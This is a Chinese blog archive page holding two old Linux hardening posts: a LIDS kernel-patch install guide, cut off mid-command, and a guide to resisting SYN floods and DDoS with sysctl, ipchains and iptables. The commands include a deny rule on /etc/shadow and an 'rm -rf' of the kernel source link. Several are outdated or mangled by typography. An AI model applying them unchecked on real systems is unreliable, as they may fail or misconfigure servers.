  2. 解压LIDS源代码并安装LIDSADM工具
  # cd lids_install_path
  # tar -zxvf lids-0.9.8-2.2.17.tar.gz
  
  3.安装lids补丁到Linux内核源代码
  
  # cd linux_install_path/linux
  # patch -p1   
  /* 链接缺省源代码路径到lids补丁版本*/
  # rm -rf /usr/src/linux
  # ln -s linux_install_patch/linux /usr/src/linux
  
  4.配置Linux内核
  # cd linux
  # make menuconfig or make xconfig
  
  
  现在,就可以配置内核了。
  把下面的选项打开:
  

  • Prompt for development and/or incomplete code/drivers
      
  • Sysctl support
      
      接下来,在配置菜单底部出现新的一项:'Linux Intrusion Detction System',进入这一项,把下面的选项打开:
      
  • Linux Intrusion Detection System support (EXPERIMENTAL) (NEW).
      在配置LIDS内核选项之后,关闭配置界面,编译内核。
      
  • [code]
      # make dep
      # make clean
      # make bzImage
      # make modules
      # make modules_install
    [/code]
      
      5.安装LIDS和管理工具。拷贝bzImage到/boot/,编辑/etc/lilo.conf文件。
      
      ——————————————————————————–
     [code] 
      # cp arch/i386/boot/bzImage /boot/bzImage-lids-0.9.9-2.2.17
      
      /* build admin tools */
      # cd lids-0.9.8-2.2.17/lidsadm-0.9.8/
      # make
      # make install
      
      # less /etc/lilo.conf
      boot=/dev/hda
      map=/boot/map
      install=/boot/boot.b
      prompt
      timeout=50
      default=linux
      
      image=/boot/vmlinuz-2.2.16-3
      label=linux
      read-only
      root=/dev/hda2
      
      image=/boot/bzImage-lids-0.9.9-2.2.17
      label=dev
      read-only
      root=/dev/hda2[/code]
      
      
      ——————————————————————————–
      
      6.运行lilo,加载新内核
      
      # /sbin/lilo
      
      7.配置LIDS系统
        重启之前,应该配置LIDS系统使他符合你的要求。你可以定义受保护的文件、进程、设备等。缺省情况下,lidsadm将安装/etc/lids/下面的缺省配置文件。你必须重新配置它使其符合你的要求。具体的配置方法后面再作介绍。
      
      # /sbin/lidsadm -U
      
      8.重启系统
        当你配置好Linux系统时,重启你的系统。当lilo出现时,选择lids加载内核。这时候,你就进入了精彩的LIDS世界了。
      
      9.封闭内核
        当系统重启后,别忘了用lidsadm为内核打封,把下面这条命令加到/etc/rc.local的最后一行中。
      你可以查阅lids howto文档理解lidsadm每一个选项的含义。
      ———————————————
      # /sbin/lidsadm -I
      ———————————————
      10.联机管理。
        封闭内核之后,系统就处于LIDS的保护之下了。你可以在上面做些测试。若你想改变一些配置,比如改变选项的性能,就可以输入密码联机改变lids的安全级别。
      ———————————————-
      # /sbin/lidsadm -S — -LIDS
      ———————————————-
      当你改变了lids的配置值(例如lids.conf,lids.cap)之后,可以用下面的命令重新把配置文件装入内核。
      ———————————————–
      # /sbin/lidsadm -S — +RELOAD_CONF
      ———————————————–
      
      三、配置LIDS系统
      
        LIDS的配置目录是:'/etc/lids/',安装了lidsadm之后,你会发现它在/etc/lids/下生成了一个lids配置目录。当内核启动时,配置信息就把相关信息读入内核来初始化LIDS系统。
        下面,我们来看几个配置文件的作用:
        lids.conf
        这个文件用来存储LIDS ACLs信息。它包括定义对象访问类型的ACLs。
        lids.cap
        这个文件包括系统的所有性能,你可以编辑这个文件来配置这些性能。仅仅通过在性能前面加上+或者-来增加或减少相关性能。安装系统的时候,lids.cap文件是被缺省设置。
        lids.net
        这个文件用来配置发给管理员信箱的警告信息。你可以定义SMTP服务器、端口、消息头等。当你配置内核时,选择了

  • Send security alerts through network (NEW)就必须有这个文件。
        lids.pw
        这个文件存储由'lidsadm -P'命令生成的密码文件。如果你配置内核时选择了
  • Allow switching LIDS protections (NEW),就必须有这个文件。
      
        注意:如果要变换你的lids保护等级,不要忘了运行"lidsadm -P"来重启内核。
      
      1.配置LIDS保护文件和目录
        首先,确定你要保护哪些文件。一般情况下,保护系统二进制文件和系统配置文件,比如:           /usr/,/etc/,/var/log/。
        其次,你必须决定以什么方式来保护文件。LIDS提供四种保护类型。
      
      a.拒绝任何人访问
        带有DENY标志的文件和目录没有人能够看见,也不能修改。那些非常敏感的文件应该加上DENY标志。例如,/etc/shadow文件。
        ——————————————————————————–
        用法:
        lidsadm -A -o file_to_protected -j DENY
        # lidsadm -A -o /etc/shadow -j DENY
        重启或重新加载配置文件后,你会看到:
        # ls /etc/shad
  • 四月 16th, 2008

    Posted In: 未分类

    用squid 是利用端口映射的功能,可以将80端口转换一下,其实一般的DDOS攻击可以修改 /proc/sys/net/ipv4/tcp_max_syn_backlog里的参数就行了,默认参数一般都很小,设为8000以上,一般的DDOS 攻击就可以解决了。如果上升到timeout阶段,可以将/proc/sys/net/ipv4/tcp_fin_timeout设小点。

    大家都在讨论DDOS,个人认为目前没有真正解决的方法,只是在缓冲和防御能力上的扩充,跟黑客玩一个心理战术,看谁坚持到最后,网上也有很多做法,例如syncookies等,就是复杂点。

    sysctl -w net.ipv4.icmp_echo_ignore_all=1

    echo 1 > /proc/sys/net/ipv4/tcp_syncookies

    sysctl -w net.ipv4.tcp_max_syn_backlog="2048"

    sysctl -w net.ipv4.tcp_synack_retries="3"

    iptables -A INPUT -i eth0 -p tcp –syn -j syn-flood

    # Limit 12 connections per second (burst to 24)

    iptables -A syn-flood -m limit –limit 12/s –limit-burst 24 -j RETURN

    这个地方可以试着该该:

    iptbales -A FORWARD -p tcp –syn -m limit –limit 1/s -j ACCEPT

    虚拟主机服务商在运营过程中可能会受到黑客攻击,常见的攻击方式有SYN,DDOS等。

    通过更换IP,查找被攻击的站点可能避开攻击,但是中断服务的时间比较长。比较彻底

    的解决方法是添置硬件防火墙。不过,硬件防火墙价格比较昂贵。可以考虑利用Linux

    系统本身提供的防火墙功能来防御。

    1. 抵御SYN

    SYN攻击是利用TCP/IP协议3次握手的原理,发送大量的建立连接的网络包,但不实际

    建立连接,最终导致被攻击服务器的网络队列被占满,无法被正常用户访问。

    Linux内核提供了若干SYN相关的配置,用命令:

    sysctl -a | grep syn

    看到:

    net.ipv4.tcp_max_syn_backlog = 1024

    net.ipv4.tcp_syncookies = 0

    net.ipv4.tcp_synack_retries = 5

    net.ipv4.tcp_syn_retries = 5

    tcp_max_syn_backlog是SYN队列的长度,tcp_syncookies是一个开关,是否打开SYN Cookie

    功能,该功能可以防止部分SYN攻击。tcp_synack_retries和tcp_syn_retries定义SYN

    的重试次数。

    加大SYN队列长度可以容纳更多等待连接的网络连接数,打开SYN Cookie功能可以阻止部分

    SYN攻击,降低重试次数也有一定效果。

    调整上述设置的方法是:

    增加SYN队列长度到2048:

    sysctl -w net.ipv4.tcp_max_syn_backlog=2048

    打开SYN COOKIE功能:

    sysctl -w net.ipv4.tcp_syncookies=1

    降低重试次数:

    sysctl -w net.ipv4.tcp_synack_retries=3

    sysctl -w net.ipv4.tcp_syn_retries=3

    为了系统重启动时保持上述配置,可将上述命令加入到/etc/rc.d/rc.local文件中。

    2. 抵御DDOS

    DDOS,分布式拒绝访问攻击,是指黑客组织来自不同来源的许多主机,向常见的端口,如80,

    25等发送大量连接,但这些客户端只建立连接,不是正常访问。由于一般Apache配置的接受连接

    数有限(通常为256),这些“假” 访问会把Apache占满,正常访问无法进行。

    Linux提供了叫ipchains的防火墙工具,可以屏蔽来自特定IP或IP地址段的对特定端口的连接。

    使用ipchains抵御DDOS,就是首先通过netstat命令发现攻击来源地址,然后用ipchains命令阻断

    攻击。发现一个阻断一个。

    *** 打开ipchains功能

    首先查看ipchains服务是否设为自动启动:

    chkconfig –list ipchains

    输出一般为:

    ipchains 0ff 1ff 2n 3n 4n 5n 6ff

    如果345列为on,说明ipchains服务已经设为自动启动

    如果没有,可以用命令:

    chkconfig –add ipchains

    将ipchains服务设为自动启动

    其次,察看ipchains配置文件/etc/sysconfig/ipchains是否存在。如果这一文件不存在,ipchains

    即使设为自动启动,也不会生效。缺省的ipchains配置文件内容如下:

    [code]

    # Firewall configuration written by lokkit
    # Manual customization of this file is not recommended.
    # Note: ifup-post will punch the current nameservers through the
    # firewall; such entries will *not* be listed here.
    :input ACCEPT
    :forward ACCEPT
    utput ACCEPT
    -A input -s 0/0 -d 0/0 -i lo -j ACCEPT
    # allow http,ftp,smtp,ssh,domain via tcp; domain via udp
    -A input -p tcp -s 0/0 -d 0/0 pop3 -y -j ACCEPT
    -A input -p tcp -s 0/0 -d 0/0 http -y -j ACCEPT
    -A input -p tcp -s 0/0 -d 0/0 https -y -j ACCEPT
    -A input -p tcp -s 0/0 -d 0/0 ftp -y -j ACCEPT
    -A input -p tcp -s 0/0 -d 0/0 smtp -y -j ACCEPT
    -A input -p tcp -s 0/0 -d 0/0 ssh -y -j ACCEPT
    -A input -p tcp -s 0/0 -d 0/0 domain -y -j ACCEPT
    -A input -p udp -s 0/0 -d 0/0 domain -j ACCEPT
    # deny icmp packet
    #-A input -p icmp -s 0/0 -d 0/0 -j DENY
    # default rules
    -A input -p tcp -s 0/0 -d 0/0 0:1023 -y -j REJECT
    -A input -p tcp -s 0/0 -d 0/0 2049 -y -j REJECT
    -A input -p udp -s 0/0 -d 0/0 0:1023 -j REJECT
    -A input -p udp -s 0/0 -d 0/0 2049 -j REJECT
    -A input -p tcp -s 0/0 -d 0/0 6000:6009 -y -j REJECT
    -A input -p tcp -s 0/0 -d 0/0 7100 -y -j REJECT
    [/code]

    如果/etc/sysconfig/ipchains文件不存在,可以用上述内容创建之。创建之后,启动ipchains服务:

    /etc/init.d/ipchains start

    *** 用netstat命令发现攻击来源

    假如说黑客攻击的是Web 80端口,察看连接80端口的客户端IP和端口,命令如下:

    netstat -an -t tcp | grep ":80" | grep ESTABLISHED | awk '{printf "%s %sn",$5,$6}' | sort

    输出: [code]

    161.2.8.9:123 FIN_WAIT2

    161.2.8.9:124 FIN_WAIT2

    61.233.85.253:23656 FIN_WAIT2 [/code]

    第一栏是客户机IP和端口,第二栏是连接状态

    如果来自同一IP的连接很多(超过50个),而且都是连续端口,就很可能是攻击。

    http://bbs.92bbs.net/read-tid-31313.html

    如果只希望察看建立的连接,用命令:

    netstat -an -t tcp | grep ":80" | grep ESTABLISHED | awk '{printf "%s %sn",$5,$6}' | sort

    *** 用ipchains阻断攻击来源

    用ipchains阻断攻击来源,有两种方法。一种是加入到/etc/sysconfig/ipchains里,然后重启动

    ipchains服务。另一种是直接用ipchains命令加。屏蔽之后,可能还需要重新启动被攻击的服务,

    是已经建立的攻击连接失效

    * 加入/etc/sysconfig/ipchains

    假定要阻止的是218.202.8.151到80的连接,编辑/etc/sysconfig/ipchains文件,在utput ACCEPT

    行下面加入:

    -A input -s 218.202.8.151 -d 0/0 http -y -j REJECT

    保存修改,重新启动ipchains:

    /etc/init.d/ipchains restart

    如果要阻止的是218.202.8的整个网段,加入:

    -A input -s 218.202.8.0/255.255.255.0 -d 0/0 http -y -j REJECT

    * 直接用命令行

    加入/etc/sysconfig/ipchains文件并重起ipchains的方法,比较慢,而且在ipchains重起的瞬间,

    可能会有部分连接钻进来。最方便的方法是直接用ipchains命令。

    假定要阻止的是218.202.8.151到80的连接,命令:

    ipchains -I input 1 -p tcp -s 218.202.8.151 -d 0/0 http -y -j REJECT

    如果要阻止的是218.202.8的整个网段,命令:

    ipchains -I input 1 -p tcp -s 218.202.8.0/255.255.255.0 -d 0/0 http -y -j REJECT

    其中,-I的意思是插入,input是规则连,1是指加入到第一个。

    您可以编辑一个shell脚本,更方便地做这件事,命令:

    vi blockit

    内容:

    #!/bin/sh

    if [ ! -z "$1" ] ; then

    echo "Blocking: $1"

    ipchains -I input 1 -p tcp -s "$1" -d 0/0 http -y -j REJECT

    else

    echo "which ip to block?"

    fi

    保存,然后:

    chmod 700 blockit

    使用方法:

    ./blockit 218.202.8.151

    ./blockit 218.202.8.0/255.255.255.0

    上述命令行方法所建立的规则,在重起之后会失效,您可以用ipchains-save命令打印规则:

    ipchains-save

    输出:
    [code]

    :input ACCEPT
    :forward ACCEPT
    utput ACCEPT
    Saving `input'.
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 -i lo -j ACCEPT
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 110:110 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 80:80 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 22:22 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 88:88 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 89:89 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 90:90 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 91:91 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 8180:8180 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 443:443 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 21:21 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 25:25 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 22:22 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 53:53 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 9095:9095 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 8007:8007 -p 6 -j ACCEPT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 53:53 -p 17 -j ACCEPT
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 0:1023 -p 6 -j REJECT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 2049:2049 -p 6 -j REJECT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 0:1023 -p 17 -j REJECT
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 2049:2049 -p 17 -j REJECT
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 6000:6009 -p 6 -j REJECT -y
    -A input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 7100:7100 -p 6 -j REJECT -y
    http://bbs.92bbs.net/read-tid-31313.html[/code]

    您需要把其中的"Saving `input'."去掉,然后把其他内容保存到/etc/sysconfig/ipchains文件,

    这样,下次重起之后,建立的规则能够重新生效。

    3. 如果使用iptables

    RH 8.0以上开始启用iptables替代ipchains,两者非常类似,也有差别的地方。

    * 启用iptables

    如果/etc/sysconfig/下没有iptables文件,可以创建:

    [code]

    # Firewall configuration written by lokkit
    # Manual customization of this file is not recommended.
    # Note: ifup-post will punch the current nameservers through the
    # firewall; such entries will *not* be listed here.
    *filter
    :INPUT ACCEPT [0:0]
    :FORWARD ACCEPT [0:0]
    :OUTPUT ACCEPT [0:0]
    :RH-Lokkit-0-50-INPUT – [0:0]
    -A INPUT -j RH-Lokkit-0-50-INPUT
    -A RH-Lokkit-0-50-INPUT -i lo -j ACCEPT
    -A RH-Lokkit-0-50-INPUT -p tcp -m tcp –dport ftp -j ACCEPT
    -A RH-Lokkit-0-50-INPUT -p tcp -m tcp –dport ssh -j ACCEPT
    -A RH-Lokkit-0-50-INPUT -p tcp -m tcp –dport http -j ACCEPT
    -A RH-Lokkit-0-50-INPUT -p tcp -m tcp –dport smtp -j ACCEPT
    -A RH-Lokkit-0-50-INPUT -p tcp -m tcp –dport pop3 -j ACCEPT
    -A RH-Lokkit-0-50-INPUT -p tcp -m tcp –dport mysql -j ACCEPT
    -A RH-Lokkit-0-50-INPUT -p tcp -m tcp –dport 2001 -j ACCEPT
    -A RH-Lokkit-0-50-INPUT -p tcp -m tcp –dport domain -j ACCEPT
    -A RH-Lokkit-0-50-INPUT -p udp -m udp –dport domain -j ACCEPT
    -A RH-Lokkit-0-50-INPUT -p tcp -m tcp –dport 0:1023 –syn -j REJECT
    -A RH-Lokkit-0-50-INPUT -p tcp -m tcp –dport 2049 –syn -j REJECT
    -A RH-Lokkit-0-50-INPUT -p udp -m udp –dport 0:1023 -j REJECT
    -A RH-Lokkit-0-50-INPUT -p udp -m udp –dport 2049 -j REJECT
    -A RH-Lokkit-0-50-INPUT -p tcp -m tcp –dport 6000:6009 –syn -j REJECT
    -A RH-Lokkit-0-50-INPUT -p tcp -m tcp –dport 7100 –syn -j REJECT
    COMMIT

    [/code]

    以上配置允许了ftp, ssh, http, smtp, pop3, mysql, 2001(Prim@Hosting ACA端口),domain端口。

    * 启动iptables

    /etc/init.d/iptables start

    * 设置iptables为自动启动

    chkconfig –level 2345 iptables on

    * 用iptables屏蔽IP

    iptables -I RH-Lokkit-0-50-INPUT 1 -p tcp -m tcp -s 213.8.166.227 –dport 80 –syn -j REJECT

    注意到,和ipchains的区别是:

    -I 后面跟的规则名称的参数和ipchains不同,不是统一的input,而是在/etc/sysconfig/iptables里定义的那个

    多了-m tcp

    指定端口的参数是–dport 80

    多了–syn参数,可以自动检测sync攻击

    使用iptables禁止ping:

    [code]

    -A INPUT -p icmp -m icmp –icmp-type 8 -m limit –limit 6/min –limit-burst 2 -j ACCEPT
    -A INPUT -p icmp -m icmp –icmp-type 8 -j REJECT –reject-with icmp-port-unreachable

    [code]

    允许某ip连接

    -I RH-Firewall-1-INPUT 1 -p tcp -m tcp -s 192.168.0.51 –syn -j ACCEPT

    注:具体的端口需要根据自己的网络来进行相应的修改。

    四月 15th, 2008

    Posted In: 未分类

    无觅相关文章插件,快速提升流量